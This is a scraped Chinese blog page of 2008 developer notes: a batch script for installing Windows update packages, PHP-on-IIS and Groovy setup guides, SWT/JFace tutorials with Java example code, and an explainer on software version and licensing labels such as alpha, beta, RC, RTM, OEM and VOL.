有时系统升级文件可能是SFX、CAB格式,这时你可以用以下代码:
@echo off
FOR /R %%F IN (*.exe) DO @((@findstr _SFX_CAB_EXE_PATH "%%F" >nul && @start /wait %%F /U /Z)|| @start /wait %%F)

一点使用说明:
①、@ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显;
②、echo 表示显示此命令后的字符;
echo off 表示在此语句后所有运行的命令都不显示命令行本身;
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
因此如果你想显示每次运行的命令行,可将第一行删除。

posted @ 2008-05-06 15:24 jadmin 阅读(141) | 评论 (0)编辑 收藏

首先安装IIS组件,注意安装所有"internet信息服务"的所有组件;确保正常运行asp程序.

其次创建php运行环境

1.下载和安装php程序,提供下载地址http://cn2.php.net/downloads.php ,我下载的版本是PHP5.2.5

2.解压缩到c:\php(自己指定目录),PHP文件夹中的php.ini-dist复制到C:\WINDOWS目录下并改名为php.ini,复制php5ts.dlllibmysql.dll两个文件到C:\WINDOWS\system32

3.为了让PHP支持MYSQLGD库需要编辑php.ini文件,用记事本打开该文件,查找“extension_dir”,然后把extension_dir = "./"修改为extension_dir = "C:\php\ext";另外还需要把“;extension=php_mysql.dll”前的分号去掉,改成extension=php_mysql.dll。把“;extension=php_gd2.dll”前的分号也去掉,修改为extension=php_gd2.dll

最后配置IISPHP映射

打开IIS,在默认网站上点右键选择"属性"---"主目录",更改执行权限为"脚本和可执行文件",再点"配置",打开添加和编辑应用程序扩展名映射窗口,添加C:\php\php5isapi.dll的可执行文件.扩展名输入.php,这样在解析过程中将自动调用php5isapi.dll解释PHP语言。

将以下代码另存为index.php

<?
echo phpinfo();
?>

创建虚拟目录执行.

如有异常,请在默认网站属性中的ISAPI筛选器标签,添加一个名为PHP的筛选器,可执行文件选择C:\php\php5isapi.dll即可.

本人机器环境为:WinXP SP2 + IIS5.1

posted @ 2008-05-06 04:46 jadmin 阅读(38) | 评论 (0)编辑 收藏

1.安装JDK

Groovy是基于JVM的,当然,先得装个JDK了,并配置好Java环境

2.下载并安装groovy

下载地址:http://groovy.codehaus.org/Download

我下载的是1.5.6 Binary Release.解压到指定目录(我的是C:\groovy),到这里groovy已经安装好了

3.配置环境变量

设置GROOVY_HOME   --->   C:\groovy

将%GROOVY_HOME%\bin追加到Path里

4.测试

开启命令提示符窗口,输入命令groovy -v

到此,Groovy环境配置成功。

注意:不用加载lib下面的jar到classpath中,groovy执行时会自动加载,在%GROOVY_HOME%\conf\groovy-starter.conf文件中已经加载了。

5.常用命令


Groovy –h 帮助
Groovy – v 打印使用的版本
Groovy – e “脚本内容”
Groovy filename 执行指定脚本文件内容
Groovy –Xmx128M 可以跟java命令使用的参数

编译groovy文件
groovyc –d classes 文件名.groovy (我这里为:Hello)

用java命令运行
java -cp %GROOVY_HOME%/embeddable/groovy-all-1.5.6.jar;classes 类名(我这里为:Hello)

6.Groovy开发工具:
默认支持
Groovysh           shell方式交互执行脚本
Groovy                命令行执行
Groovyconsole    gui方式执行

其他相关资源链接

Groovy轻松入门--搭建Groovy开发环境

http://hi.baidu.com/pplog/blog/item/d3f1b77e263f5b390dd7dac7.html

Groovy轻松入门--Grails实战基础篇

http://hi.baidu.com/pplog/blog/item/5aae560f0a39e92b6159f3c0.html

http://hi.baidu.com/pplog/blog/category/Groovy

http://groovy.codehaus.org/Eclipse+Plugin

posted @ 2008-05-06 03:43 jadmin 阅读(1223) | 评论 (0)编辑 收藏

Groovy是一种基于JVM的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性。 Groovy已在WebWork2中的应用。它可以被编译为标准的Java Bytecode。

该项目主页:http://groovy.codehaus.org/,在该网站上,Groovy是这样定义的:

An agile dynamic language for the Java Platform

Groovy...

posted @ 2008-05-06 03:19 jadmin 阅读(53) | 评论 (0)编辑 收藏

SWT程序

SWT是一套独立的库,用户可以在SWT的基础上很容易地建立自己的应用,本节的目的就是要在SWT上建立一个简单的“Hello world”程序,读者可以在这个简单的程序上建立自己的应用。

加入SWT依赖的包

SWT为用户提供了一套API,用户如果要使用SWT进行开发,必须要把所需的Jar包放在Eclipse项目的ClassPath中。在此笔者采用新建一个插件项目,插件项目会自动引用SWT相关的包,步骤如下。

1. 运行Eclipse。
单击“File”→“New”→“Other”菜单项,在弹出的对话框中选择 Select 对话框左边的 Plug-in Development 向导。如图3所示,选择 Plug-in Project。


图3 新建插件对话框


2. 单击“Next”按钮,弹出新建对话框,输入项目名称。此处使用了“com.free.swtjface.demo”。单击“Next”按钮后弹出新建对话框页,如图4所示。


图4 新建项目


3. 单击“Next”按钮,在接下来的对话框中单击“Finish”按钮,建立一个空的插件项目在此项目中,Eclipse中已经自动引入了此插件所需要依赖的包,其中包括SWT/JFace所用到的包如图5所示。


图5 插件依赖的包


如果用户想加入SWT/JFace相关的包,也可以手动加入下面几个包“org.eclipse.swt.win32. win32.x86_*.jar”、“org.eclipse.swt_*.jar”和“org.eclipse.jface_*.jar”到插件的类路径中。

提示:对于初学者,通过创建插件项目自动引入SWT的jar包是一个比较好的方法,如果开发插件项目,用户也不用但心SWT的jar包没有引入的问题。

“Hello world”SWT程序

现在SWT所依赖的包已经加入到了项目的ClassPath中,SWT程序和Java的程序一样,也是通过main函数运行的,如例程1所示。

例程1 HelloWorldSwt.java

public class HelloWorldSwt { public static void main(String[] args) { Display display = new Display(); Shell shell = new Shell(display); shell.setText("hello world! Window"); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) { display.sleep(); } } display.dispose(); } }

这段程序虽然很简单,但是它反映了书写SWT程序的步骤:
1. 创建一个Display对象。Display对象是SWT和操作系统通信的桥梁。
2. 创建一个或者多个Shell对象。可以认为Shell代表了程序的窗口。
3. 在Shell内创建各种部件(widget),如按钮、下拉框和列表等。
4. 对各个部件进行初始化(外观、状态等),同时为各种部件的事件创建监听器 (listener)。监听器可以监听窗口的消息,在此没有添加监听器,将会在后面的章节重点介绍监听器的注册。
5. 调用Shell对象的open()方法以显示窗体。
6. 对各种事件进行监听并处理,直到程序发出退出消息。
7. 调用Display对象的dispose()方法以结束程序。

提示:SWT程序的运行和例程1类似,读者如果不清楚SWT程序的运行机制,可以直接复制上面的样板代码就可以了。

运行SWT应用

SWT程序的运行要通过JNI调用相应的操作系统控件,运行SWT程序和运行Java应用程序有点不同,在Eclipse中用户可以选择运行SWT程序(SWT Application)可以运行SWT程序,步骤如下:
1. 打开Java的默认视图,在“Hello world”程序的文件上单击鼠标右键。
2. 选择“SWT Application”菜单,如图6所示。


图6 运行SWT程序


3. 单击“SWT Application”菜单运行,运行效果如图7所示。


图7 SWT“Hello world”程序


HelloWorldSwt程序只创建了一个窗口(shell),读者可以把shell当作其它组件的父窗口,创建其它组件。

提示:在Eclipse3.3以后,运行SWT程序和运行Java程序是一样的。

JFace程序

JFace 是一个用户界面工具箱,它提供很难实现的、用于开发用户界面功能部件的 helper 类,JFace 在原始的窗口小部件系统的级别之上运行。JFace 使用户可以专注于实现特定插件的功能,而不必花费精力来处理底层窗口小部件系统或者解决几乎在任何用户界面应用程序中都很常见的问题。

“Hello world”JFace程序

JFace的应用程序相对来说更简单,它通过“ApplicationWindow”类实现应用,“ApplicationWindow”把和操作系统交互的细节封装起来了,用户只需要关心自己窗口的建立,程序代码如例程2所示。
例程2

public class HelloWorldJFace extends ApplicationWindow { public HelloWorldJFace() { super(null); } protected Control createContents(Composite parent) { getShell().setText("hello world! Window"); parent.setSize(400, 250); return parent; } public static void main(String[] args) { HelloWorldJFace helloWorldApp = new HelloWorldJFace(); helloWorldApp.setBlockOnOpen(true); helloWorldApp.open(); Display.getCurrent().dispose(); } }

其中,JFace的应用程序可以通过重载“createContents(Composite parent)”方法添加窗口的组件到parent组件中。
运行JFace的程序和运行SWT程序一样。

Tags:java,rcp,jface,swt,ibm,eclipse,ui,gui

posted @ 2008-05-04 18:35 jadmin 阅读(128) | 评论 (0)编辑 收藏
Eclipse 是一个通用工具平台。它是一个开放的、可用于任何东西的可扩展 IDE,它为工具开发人员提供了灵活性以及对软件技术的控制能力。Eclipse 为开发人员提供了生产大量 GUI 驱动的工具和应用程序的基础。而这项功能的基础就是基于GUI库 的SWT 和 JFace。

SWT(Standard Widget Toolkit)本身仅仅是Eclipse组织为了开发Eclipse IDE环境所编写的一组底层图形界面 API。或许是无心插柳,或许是有意为之,至今为止,SWT无论在性能上还是外观上,都超越了Sun公司提供的AWT和Swing。

概述

SWT(Standard Widget Toolkit)是Eclipse中的窗口小部件工具箱,它是一组窗口组件的实现,并能底层操作系统图形用户界面平台紧密集成。另外,SWT定义了所有受支持平台上的公共可移植API,并尽可能地使用本机窗口小部件在每个平台上实现该API,这允许SWT在所有平台上维护一致的编程模型,且能立即反映底层操作系统图形用户界面外观中的任何更改。

JFace用来在 SWT 库顶部提供常见的应用程序用户界面功能。JFace并不试图“隐藏”SWT 或者替换它的功能。它提供一些类和接口,用来处理SWT对动态用户界面相关联的常见任务。

SWT/JFace是Eclispe的基础,Eclipse的Workbench就是建立在SWT/JFace之上的。另外,JFace是在SWT之上开发的,它和SWT形成一个交集,其中SWT提供最原始的组件,如图1所示。


图1 SWT/JFace和Workbench的关系


JFace对SWT进行了扩展,把用户熟悉的一些组件进行了封装,在开发中用户可以尽可能地用JFace组件来开发自己的应用。JFace程序和SWT程序类似,只不过JFace把常用的功能进行了提炼,使用户不必太关心SWT的一些细节。

提示:SWT提供了一套API,它因为Eclipse而生,但它完全可以脱离Eclipse而存在。

基本特性

SWT是一个套库函数,它创建了Java 版的本地操作系统 GUI 控件。它依赖于本机实现,这意味着基于SWT的应用程序具有以下几个关键特性。

 它们的外观、行为和执行类似于“本机”应用程序。
 所提供的窗口小部件(Widget)反映了主机操作系统上提供的窗口小部件(组件和控件)。
 主机 GUI 库的任何特殊行为都在 SWT GUI 中得到反映。

这些目标使得 SWT 不同于 Java 技术的 Swing,Swing 的设计目标是消除操作系统的差异。SWT 库反映了主机操作系统的基本窗口小部件,JFace 库有助于向 SWT 应用程序中添加大量服务,SWT 最重要的扩展之一是将应用程序的数据模型与显示及更改它的 GUI 隔离开来。

SWT中有如下一些基本的组件:
1. Widget:基本的 SWT GUI 组件(类似于 Java AWT 中的 Component 和 Swing 中的 JComponent),Widget 是一个抽象类。
2. Control:拥有操作系统的对等物的窗口小部件,Control 是一个抽象类。
3. Composite:包含其他控件的控件(类似于 Java AWT 中的 Container 和 Swing 中的JPanel)。
4. Item:其他控件包含的窗口小部件(该控件可能是复合控件),如列表和表。Item 是一个抽象类。
这些窗口组件(或小部件)被安排在继承层次结构中。其中Widget是底层的类,继承关系如图2所示。


图2 Widget类的继承关系


几乎所有SWT GUI都是从某些基础部分开始创建的。所有SWT窗口组件都可以在 org.eclipse.swt.widget 或 org.eclipse.swt.custom 包中找到(一些Eclipse插件还在其他包中提供了定制的窗口组件)。窗口组件包中包含一些基于操作系统控件的控件,而定制包中则包含一些超出操作系统控件集之外的控件。一些定制的软件包控件类似于窗口小部件包中的控件。为了避免命名冲突,定制控件的名称都是以“C”开始的(例如,比较 CLabel 与 Label)。

在SWT中,所有控件(除了一些高级控件,比如 shell)在创建的时候都必须有一个父控件(一个复合实例)。在创建的时候,这些控件被自动“添加”到父控件中,这与必须明确添加到父控件中的 AWT/Swing 中的控件有所不同,自动添加产生了一种“自上而下”地构造GUI的方法。这样,所有控件都可以采用一个复合父控件(或者一个子类)作为构造函数的参数。

大多数控件都有一些必须在创建时设置的标记选项,因此大多数控件还有另外一个构造函数参数,通常称为样式或风格,该参数提供了设置这些选项的标记。所有这些参数值都是 整型常量,并且都是在 org.eclipse.swt 包的 SWT 类中定义的。如果不需要任何参数,则可以使用 SWT.NONE 值。

提示:创建一个组件通常有两个参数,第一个为父组件,第二个组件的显示样式,例如:“Button button = new Button(shell, SWT.RADIO);”。

Tags:java,rcp,jface,swt,ibm,eclipse,ui,gui

posted @ 2008-05-04 18:28 jadmin 阅读(84) | 评论 (0)编辑 收藏

package swt.expandbar;

import org.eclipse.jface.resource.JFaceResources;
import org.eclipse.swt.SWT;
import org.eclipse.swt.graphics.Font;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.layout.FillLayout;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.ExpandBar;
import org.eclipse.swt.widgets.ExpandItem;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Link;
import org.eclipse.swt.widgets.Shell;

public class WindowStyle {

public WindowStyle() {
   final Display display = Display.getDefault();
   final Shell shell = new Shell(SWT.MIN);
   shell.setText("ExpandBar练习");
   shell.setSize(200, 518);
   shell.setLayout(new FillLayout());
  
   ExpandBar expandBar = new ExpandBar(shell,SWT.V_SCROLL);
   {
    Composite comp1 = new Composite(expandBar,SWT.NONE);
    comp1.setLayout(new GridLayout(2,false));
    new Label(comp1,SWT.NONE).setImage(new Image(display,"icons/default.gif"));
    new Link(comp1,SWT.NONE).setText("<a>查看系统信息</a>");
   
    new Label(comp1,SWT.NONE).setImage(new Image(display,"icons/doc.gif"));
    new Link(comp1,SWT.NONE).setText("<a>添加/删除程序</a>");
   
    new Label(comp1,SWT.NONE).setImage(new Image(display,"icons/main.gif"));
    new Link(comp1,SWT.NONE).setText("<a>更改一个设置</a>");
    ExpandItem item1 = new ExpandItem(expandBar, SWT.NONE);
    item1.setText("系统任务");
    item1.setHeight(75);// 设置Item的高度
    item1.setControl(comp1);// setControl方法控制comp1的显现
   }
  
   {  
    Composite comp2 = new Composite(expandBar,SWT.NONE);
    comp2.setLayout(new GridLayout(2,false));
    new Label(comp2,SWT.NONE).setImage(new Image(display,"icons/computer.gif"));
    new Link(comp2,SWT.NONE).setText("<a>网上邻居</a>");
    new Label(comp2,SWT.NONE).setImage(new Image(display,"icons/inc.gif"));
    new Link(comp2,SWT.NONE).setText("<a>我的文档</a>");
    new Label(comp2,SWT.NONE).setImage(new Image(display,"icons/folder.gif"));
    new Link(comp2,SWT.NONE).setText("<a>共享文档</a>");
    new Label(comp2,SWT.NONE).setImage(new Image(display,"icons/cmd.gif"));
    new Link(comp2,SWT.NONE).setText("<a>控制面板</a>");
    ExpandItem item1 = new ExpandItem(expandBar, SWT.NONE);
    item1.setText("其他位置");
    item1.setHeight(95);// 设置Item的高度
    item1.setControl(comp2);// setControl方法控制comp1的显现
   }
  
   {
    Composite comp3 = new Composite(expandBar,SWT.NONE);
    comp3.setLayout(new GridLayout());
   
    // setup bold font
    Font boldFont = JFaceResources.getFontRegistry().getBold(JFaceResources.DEFAULT_FONT);
    Label l = new Label(comp3,SWT.NONE);
    l.setText("我的电脑");
    l.setFont(boldFont);
   
    new Label(comp3,SWT.NONE).setText("系统文件夹");
   
    ExpandItem item1 = new ExpandItem(expandBar, SWT.NONE);
    item1.setText("详细信息");
    item1.setHeight(50);// 设置Item的高度
    item1.setControl(comp3);// setControl方法控制comp1的显现
   }
  
   shell.layout();
   shell.open();
  
   while(!shell.isDisposed()) {
    if(!display.readAndDispatch())
     display.sleep();
   }
   display.dispose();
}


public static void main(String[] args) {
   new WindowStyle();
}
}

以上程序中会用到7个icon小图片,把他们放置在工程根目录下的icons目录下

运行效果:

Tags:java,rcp,jface,swt,ibm,eclipse,ui,gui

posted @ 2008-05-04 16:42 jadmin 阅读(186) | 评论 (0)编辑 收藏
1. 软件版本阶段说明

             * Base版: 此版本表示该软件仅仅是一个假页面链接,通常包括所有的功能和页面布局,但是页面中的功能都没有做完整的实现,只是做为整体网站的一个基础架构。
             * Alpha版: 此版本表示该软件在此阶段主要是以实现软件功能为主,通常只在软件开发者内部交流,一般而言,该版本软件的Bug较多,需要继续修改。
             * Beta版: 该版本相对于α版已有了很大的改进,消除了严重的错误,但还是存在着一些缺陷,需要经过多次测试来进一步消除,此版本主要的修改对像是软件的UI。
             * RC版: 该版本已经相当成熟了,基本上不存在导致错误的BUG,与即将发行的正式版相差无几。
             * Release版: 该版本意味“最终版本”,在前面版本的一系列测试版之后,终归会有一个正式版本,是最终交付用户使用的一个版本。该版本有时也称为标准版。一般情况下,Release不会以单词形式出现在软件封面上,取而代之的是符号(R)。

   2. 版本命名规范

        软件版本号由四部分组成,第一个1为主版本号,第二个1为子版本号,第三个1为阶段版本号,第四部分为日期版本号加希腊字母版本号,希腊字母版本号共有5种,分别为:base、alpha、beta、RC、release。例如:1.1.1.051021_beta。



# 版本号定修改规则:

* 主版本号(1):当功能模块有较大的变动,比如增加多个模块或者整体架构发生变化。此版本号由项目决定是否修改。
* 子版本号(1):当功能有一定的增加或变化,比如增加了对权限控制、增加自定义视图等功能。此版本号由项目决定是否修改。
* 阶段版本号(1):一般是 Bug 修复或是一些小的变动,要经常发布修订版,时间间隔不限,修复一个严重的bug即可发布一个修订版。此版本号由项目经理决定是否修改。
* 日期版本号(051021):用于记录修改项目的当前日期,每天对项目的修改都需要更改日期版本号。此版本号由开发人员决定是否修改。
* 希腊字母版本号(beta):此版本号用于标注当前版本的软件处于哪个开发阶段,当软件进入到另一个阶段时需要修改此版本号。此版本号由项目决定是否修改。


# 文件命名规范

  文件名称由四部分组成:第一部分为项目名称,第二部分为文件的描述,第三部分为当前软件的版本号,第四部分为文件阶段标识加文件后缀,例如:项目外包平台测试报告1.1.1.051021_beta_b.xls,此文件为项目外包平台的测试报告文档,版本号为:1.1.1.051021_beta。



   3.
      如果是同一版本同一阶段的文件修改过两次以上,则在阶段标识后面加以数字标识,每次修改数字加1,项目外包平台测试报告1.1.1.051021_beta_b1.xls

        当有多人同时提交同一份文件时,可以在阶段标识的后面加入人名或缩写来区别,例如:项目外包平台测试报告 1.1.1.051021_beta_b_LiuQi.xls。当此文件再次提交时也可以在人名或人名缩写的后面加入序号来区别,例如:项目外包平台测试报告1.1.1.051021_beta_b_LiuQi2.xls

   4. 版本号的阶段标识

      软件的每个版本中包括11个阶段,详细阶段描述如下:

      阶段名称                    阶段标识
      需求控制                            a
      设计阶段                            b
      编码阶段                      c
      单元测试                      d
      单元测试修改                e
      集成测试                      f
      集成测试修改                g
      系统测试                      h
      系统测试修改                       i
      验收测试                          j
      验收测试修改                    k

===================================================

Alpha:
Alpha是内部测试版,一般不向外部发布,会有很多Bug.除非你也是测试人员,否则不建议使用.
是希腊字母的第一位,表示最初级的版本
alpha就是α,beta就是β
alpha版就是比beta还早的测试版,一般都是内部测试的版本
--------------------
Beta:
  很容易理解就是测试版,这个阶段的版本会一直加入新的功能。
RC:(Release Candidate)
  Candidate是候选人的意思,用在软件上就是候选版本。Release.Candidate.就是发行候选版本。和Beta版最大的差别在于Beta阶段会一直加入新的功能,但是到了RC版本,几乎就不会加入新的功能了,而主要着重于除错!

RTM:全称为Release to Manufacture。
  是给工厂大量压片的版本,内容跟正式版是一样的,不过 RTM.也有出120天评估版。但是说RTM.是测试版是错的。正式在零售商店上架前,是不是需要一段时间来压片,包装、配销呢?所以程序代码必须在正式发行前一段时间就要完成,这个完成的程序代码叫做Final.Code,这次Windows.XP开发完成,外国媒体用Windows XP.goes.gold来称呼。程序代码开发完成之后,要将母片送到工厂大量压片,这个版本就叫做RTM版。所以说,RTM版的程序码一定和正式版一样。但是和正式版也有不一样的地方:例如正式版中的OEM不能升级安装,升级版要全新安装的话会检查旧版操作系统光盘等,这些就是RTM和正式版不同的地方,但是它们的主要程序代码都是一样的。

OEM:
  是给计算机厂商随着计算机贩卖的,也就是随机版。只能随机器出货,不能零售。只能全新安装 ,不能从旧有操作系统升级。如果买笔记型计算机或品牌计算机就会有随机版软件。包装不像零售版精美,通常只有一面CD和说明书(授权书)。

RVL:
  号称是正式版,其实RVL.根本不是版本的名称。RVL.是一个Warez.Team,台湾分部叫RVL@TW.,它之间又释出一个.WinXP.RVL@TW.版本。它是某中文版+英文Corpfiles破解的。

EVAL:
  而流通在网络上的EVAL版,是微软帮媒体记者编辑上课给的,是所谓的「评估版」没错,你输入的金钥是30天的,就可用30天,输入的是180天的,就可用180天。功能上和零售版无乎没有区别。

RTL:Retail.(零售版)
  是真正的正式版,正式上架零售版。在安装盘的i386文件夹里有一个 eula.txt,最后有一行EULAID,就是你的版本。比如简体中文正式版是EULAID:WX.4_PRO_RTL_CN,繁体中文正式版是 WX.4_PRO_RTL_TW。其中:如果是WX.开头是正式版,WB.开头是测试版。_PRE,代表家庭版;_PRO,代表专业版。

===============================================================

版本号:

V(Version):即版本,通常用数字表示版本号。(如:EVEREST Ultimate v4.20.1188 Beta )

Build:用数字或日期标示版本号的一种方式。(如:VeryCD eMule v0.48a Build 071112)

SP:Service Pack,升级包。(如:Windows XP SP 2/Vista SP 1)
授权和功能划分:
试用版,通常都有时间限制,有些试用版软件还在功能上做了一定的限制。可注册或购买成为正式版。

Unregistered:未注册版,通常没有时间限制,在功能上相对于正式版做了一定的限制。可注册或购买成为正式版。

Demo:演示版,仅仅集成了正式版中的几个功能,不能升级成正式版。
Lite:精简版。
Full:完整版。

开发阶段划分:

α(Alpha)版:内测版,内部交流或者专业测试人员测试用。Bug较多,普通用户最好不要安装。

β(Beta)版:公测版,专业爱好者大规模测试用,存在一些缺陷,该版本也不适合一般用户安装。

γ(Gamma)版:相当成熟的测试版,与即将发行的正式版相差无几。

RC版:Release Candidate候选版本,处于Gamma阶段。从Alpha到Beta再到Gamma是改进的先后关系,但RC1、RC2往往是取舍关系。

Final:正式版。

语言划分:

SC:Simplified Chinese简体中文版。

GBK:简体中文汉字内码扩展规范版。

TC:Traditional Chinese繁体中文版。

BIG5:繁体中文大五码版。

UTF8:Unicode Transformation Format 8 bit,对现有的中文系统不是好的解决方案。

================================================================================

        ●alpha 内部测试版
  ●beta 外部测试版
  ●demo 演示版
  ●Enhance 增强版或者加强版 属于正式版
  ●Free 自由版
  ●Full version 完全版 属于正式版
  ●shareware 共享版
  ●Release 发行版 有时间限制
  ●Upgrade 升级版
  ●Retail 零售版
  ●Cardware 属共享软件的一种,只要给作者回复一封电邮或明信片即可。(有的作者并由此提供注册码等),目前这种形式已不多见。
  ●Plus 属增强版,不过这种大部分是在程序界面及多媒体功能上增强。
  ●Preview 预览版
  ●Corporation & Enterprise 企业版
  ●Standard 标准版
  ●Mini 迷你版也叫精简版,只有最基本的功能
  ●Premium -- 贵价版
  ●Professional -- 专业版
  ●Express -- 特别版
  ●Deluxe -- 豪华版
  ●Regged -- 已注册版
  ●CN -- 简体中文版
  ●CHT -- 繁体中文版
  ●EN -- 英文版
  ●Multilanguage -- 多语言版
  ●Rip 是指从原版文件(一般是指光盘或光盘镜像文件)直接将有用的内容(核心内容)分离出来,剔除无用的文档,例如PDF说明文件啊,视频演示啊之类的东西,也可以算做是精简版吧…但主要内容功能是一点也不能缺少的!另:DVDrip是指将视频和音频直接从DVD光盘里以文件方式分离出来。
  ●trail 试用版(含有某些限制,如时间、功能,注册后也有可能变为正式版)
  ●RC 版 就是Release Candidate(候选版本)的简称。从微软的惯例来看推出RC版操作系统就代表正式版的操作系统已经离我们不远了,因为微软操作系统的开发步骤是这样的:内部测试->alpha公测->beta公测->RC版->正式版上市;通常微软的RC版本筛选会经历2-3个过程,也就是说微软会推出RC1、RC2或者RC3的操作系统,而随后就是正式版操作系统上市了,因此通常来看RC1版操作系统已经同最终零售版操作系统相差无几了。该版本已经完成全部功能并清除大部分的BUG。到了这个阶段只会除BUG,不会对软件做任何大的更改。
  ●RTM 版。这基本就是最终的版本,英文是 Release To Manufactur,意思是发布到生产商。
  ●Original Equipment Manufacturer (OEM)
  You may license products through an Original Equipment Manufacturer (OEM). These products, such as Windows operating systems, come installed when you purchase a new computer.
  OEM软件是给电脑生产厂的版本,无需多说。
  ●Full Packaged Product (FPP)-Retail
  Physical, shrink-wrapped boxes of licensed product that can be purchased in a local retail store or any local software retailer.
  FPP就是零售版(盒装软件),这种产品的光盘的卷标都带有"FPP"字样,比如英文WXP Pro的FPP版本的光盘卷标就是WXPFPP_EN,其中WX表示是Windows XP,P是Professional(H是Home),FPP表明是零售版本,EN是表明是英语。获得途径除了在商店购买之外,某些MSDN用户也可以得到。
  ●Volume Licensing for Organizations (VLO)
  You may enjoy potentially significant savings by acquiring multiple product licenses. Depending on the size and type of your organization.
  团体批量许可证(大量采购授权合约),这是为团体购买而制定的一种优惠方式。这种产品的光盘的卷标都带有"VOL"字样,取"Volume"前3个字母,以表明是批量,比如英文 WXP Pro的VOL版本的光盘卷标就是WXPVOL_EN,其中WX表示是Windows XP,P是Professional(VOL没有Home版本),VOL表明是团体批量许可证版本,EN是表明是英语。获得途径主要是集团购买,某些 MSDN用户也可以得到。
这种版本根据购买数量等又细分为“开放式许可证”、“选择式许可证”、“企业协议”、“学术教育许可证”等以下5种版本
  ·Open License
  ·Select License
  ·Enterprise Agreement
  ·Enterprise Subscription Agreement
  ·Academic Volume Licensing
  由此可见,平时说的什么select/corp是许可证授权方式,他的出现是为了用若干种不同级别的优惠政策卖同一种软件,通过select/corp 许可证授权方式得到的xxx的光盘都是VOL这一种、是并不是有很多种,只不过是相同的VOL光盘配以不同的许可证方式;而Volume Licensing (Product) Keys,即VLK,它所指的只是一个Key(密匙),仅仅是一个为证明产品合法化、以及安装所使用的Key,因为根据VOL计划规定,VOL产品是不需要激活的!
  或者说,VLK不是指一种版本,而是指这种版本在部署(deploy)过程中所需要的Key,而需要VLK这种Key的版本应该叫做VOL!只不过在实际中,没有必要强调这种叫法、称呼的准确性,加之很多人的VOL版本光盘是通过企业的选择式许可证、企业协议等方式得到的等等原因,所以才会有很多人叫他为“选择版”等等。
官方网站有一个表格,上面有一句话:“Different products require different Volume Licensing Keys (VLKs). Refer to the table below to make sure you have the correct VLK for your Microsoft product.”,我想这就很好的说明了VLK指的是Key而不是产品了。 很明显的,FPP需要激活,VOL不需要激活

================================================================================

Beta 是希腊字母中的第二个字母β,在软件开发中指软件测试的第二阶段,由将来用户中的一部分人试用。以前,希腊字母alpha指软件开发过程中的第一阶段,包括部件测试,整件测试和系统测试。 Beta测试也指产品推出前的测试,软件商把beta测试版软件在网上发放给更多的用户进行实用测试为以后版本的出台做准备。

Alpha版(内部测试版):一般只在软件开发公司内部运行,不对外公开。主要是开发者自己对产品进行测试,检查产品是否存在缺陷、错误,验证产品功能与说明书、用户手册是否一致。

Beta版(外部测试版):软件开发公司为对外宣传,将非正式产品免费发送给具有典型性的用户,让用户测试该软件的不足之处及存在问题,以便在正式发行前进一步改进和完善。一般可通过Internet免费下载,也可以向软件公司索取。

Demo版(演示版):主要是演示正式软件的部分功能,用户可以从中得知软件的基本操作,为正式产品的发售扩大影响。如果是游戏的话,则只有一两个关卡可以玩。该版本也可以从Internet上免费下载。

Enhace版(增强版或加强版):如果是一般软件,一般称作“增强版”,会加入一些实用的新功能。如果是游戏,一般称作“加强版”,会加入一些新的游戏场景和游戏情节等。这是正式发售的版本。

Free版(自由版):这一般是个人或自由软件联盟组织的成员制作的软件,希望免费给大家使用,没有版权,一般也是通过Internet免费下载。

Full Version版(完全版):也就是正式版,是最终正式发售的版本。

Shareware版(共享版):有些公司为了吸引客户,对于他们制作的某些软件,可以让用户通过Internet免费下载的方式获取。不过,此版本软件多会带有一些使用时间或次数的限制,但可以利用在线注册或电子注册成为正式版用户。

Release版(发行版):不是正式版,带有时间限制,也是为扩大影响所做的宣传策略之一。比如Windows Me的发行版就限制了只能使用几个月,可从Internet上免费下载或由公司免费奉送。

Uprgade版(升级版):当你有某个软件以前的正式版本时,可以购买升级版,将你的软件升级为最新版。升级后的软件与正式版在功能上相同,但价格会低些,这主要是为了给原有的正版用户提供优惠。

测试版与演示版

α:代表该软件仅仅是一个初步完成品,通常只在软件开发者内部交流,也有很少一部分发布给专业测试人员。该版本软件的bug较多,而且极不稳定,用了之后也有可能导致系统崩溃。不过,普通用户难以得到它,即使得到最好也不要安装。

β:该版本相对于α版已有了很大的改进,消除了严重的错误,但还是存在着一些缺陷,需要经过大规模的发布测试来进一步消除bug。这一版本通常由软件公司免费发布,用户可从相关的站点下载。通过一些专业爱好者的测试,将结果反馈给开发者,后者再进行有针对性的修改。该版本也不适合一般用户安装。

γ:该版本已经相当成熟了,与即将发行的正式版相差无几,如果用户实在等不及了,尽可以装上一试。

trial:试用版。试用版的软件在最近几年颇为流行,主要是得益于因特网的迅速发展。该版本软件通常都有时间限制,如20天、1个月等等,时间一到,用户就无法再使用了,除非交纳一定的费用进行注册和购买正式版。有些试用版软件还在功能上做了一定的限制。

unregistered:未注册版。未注册版与试用版两者极其类似,只是未注册版通常没有时间限制,在功能上相对于正式版做了一定的限制,例如绝大多数网络电话软件的注册版和未注册版,两者之间在通话质量上有很大差距。还有些虽然在使用上与正式版毫无二致,但是动不动就会弹出一个恼人的消息框来提醒你注册,如看图软件 acdsee。用户如果对该软件感兴趣,可以通过指定的方法向软件公司注册。

demo:非正式版软件中数该版本的知名度最大,称为演示版。演示版仅仅集成了正式版中的几个功能,颇有点像unregistered。不同的是,demo版一般不能升级和通过注册的方法变为正式版。

以上是软件正式版本推出之前的几个版本,α、β、γ可以称为测试版,大凡成熟软件总会有多个测试版,如windows 98的β版,前前后后将近有10个。这么多的测试版一方面保证最终产品尽可能地满足用户的需要,另一方面也尽量减少了软件的bug,在这一点上很值得中国软件商学习。而trial、unregistered、demo有时统称为演示版,这一类版本的广告色彩较为浓厚,颇有点“先尝后买”的味道,对于普通用户而言自然是再好不过了。

正式版

不同类型软件的正式版本通常也有区别。

release:该版本意味“最终释放版”,在出了一系列的测试版之后,终归会有一个正式版本,对于用户而言,购买该版本的软件绝对不会错。该版本有时也称为标准版。值得一提的是release通常不会以单词形式出现在软件封面上,取而代之的是符号(r),如windows nt (r)4.0、ms-dos(r) 6.22等等。

